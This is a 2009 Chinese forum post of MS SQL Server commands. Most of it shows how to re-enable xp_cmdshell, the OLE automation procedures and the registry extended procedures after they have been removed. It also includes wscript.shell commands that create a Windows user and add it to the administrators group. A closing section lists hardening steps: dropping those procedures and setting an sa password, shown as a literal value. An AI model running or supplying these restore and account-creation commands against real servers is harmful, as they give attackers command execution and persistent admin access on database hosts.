标题: SQL的一些解决办法. [打印本页]

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作者: valen886    时间: 2009-1-24 17:33     标题: SQL的一些解决办法.

SQL的一些解决办法.
恢复sp_addextendedproc语句：

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */

@dllname varchar(255)/* name of DLL containing function */

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

GO


xp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)


删除

drop procedure sp_addextendedproc

drop procedure sp_oacreate

exec sp_dropextendedproc 'xp_cmdshell'


恢复

dbcc addextendedproc ("sp_oacreate","odsole70.dll")

dbcc addextendedproc ("xp_cmdshell","xplog70.dll")


1.未能找到存储过程'master..xpcmdshell'之解决方法：


EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'



2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块。)


sp_dropextendedproc "xp_cmdshell"

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'



3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因:


127(找不到指定的程序。)


exec sp_dropextendedproc 'xp_cmdshell'

exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'



4.直接添加帐户法


删除odsole70.dll：


exec master..sp_dropextendedproc sp_oamethod

exec master..sp_dropextendedproc sp_oacreate


恢复odsole70.dll：


exec sp_addextendedproc sp_OAMethod,'odsole70.dll'   

exec sp_addextendedproc sp_OACreate,'odsole70.dll'


直接添加帐户命令：


declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod

@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'


declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add'



5.恢复时一些常用的SQL语句：


利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己)：

use master     

exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'     

exec sp_addextendedproc xp_dirtree,'xpstar.dll'     

exec sp_addextendedproc xp_enumgroups,'xplog70.dll'     

exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'     

exec sp_addextendedproc xp_loginconfig,'xplog70.dll'     

exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'     

exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'     

exec sp_addextendedproc sp_OACreate,'odsole70.dll'     

exec sp_addextendedproc sp_OADestroy,'odsole70.dll'     

exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'     

exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'     

exec sp_addextendedproc sp_OAMethod,'odsole70.dll'     

exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'     

exec sp_addextendedproc sp_OAStop,'odsole70.dll'     

exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'     

exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'     

exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'     

exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'     

exec sp_addextendedproc xp_regread,'xpstar.dll'     

exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'     

exec sp_addextendedproc xp_regwrite,'xpstar.dll'     

exec sp_addextendedproc xp_availablemedia,'xpstar.dll'


恢复cmdshell：exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'


判断存储扩展是否存在(返回结果为1就ok)：

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'



恢复xp_cmdshell(返回结果为1就ok)：

exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.

sysobjectswhere xtype='x' and name='xp_cmdshell'


否则上传xplog7.0.dll：

exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'


************************以下为防范时用**********************

1.删除所有危险扩展：

Drop PROCEDURE sp_makewebtask

exec master..sp_dropextendedproc xp_cmdshell

exec master..sp_dropextendedproc xp_dirtree

exec master..sp_dropextendedproc xp_fileexist

exec master..sp_dropextendedproc xp_terminate_process

exec master..sp_dropextendedproc sp_oamethod

exec master..sp_dropextendedproc sp_oacreate

exec master..sp_dropextendedproc xp_regaddmultistring

exec master..sp_dropextendedproc xp_regdeletekey

exec master..sp_dropextendedproc xp_regdeletevalue

exec master..sp_dropextendedproc xp_regenumkeys

exec master..sp_dropextendedproc xp_regenumvalues

exec master..sp_dropextendedproc sp_add_job

exec master..sp_dropextendedproc sp_addtask

exec master..sp_dropextendedproc xp_regread

exec master..sp_dropextendedproc xp_regwrite

exec master..sp_dropextendedproc xp_readwebtask

exec master..sp_dropextendedproc xp_makewebtask

exec master..sp_dropextendedproc xp_regremovemultistring

exec master..sp_dropextendedproc sp_OACreate

Drop PROCEDURE sp_addextendedproc


2.删除xp_cmdshell扩展：sp_dropextendedproc 'xp_cmdshell'


3.修补sa弱口令：exec sp_password NULL,'201150','sa'

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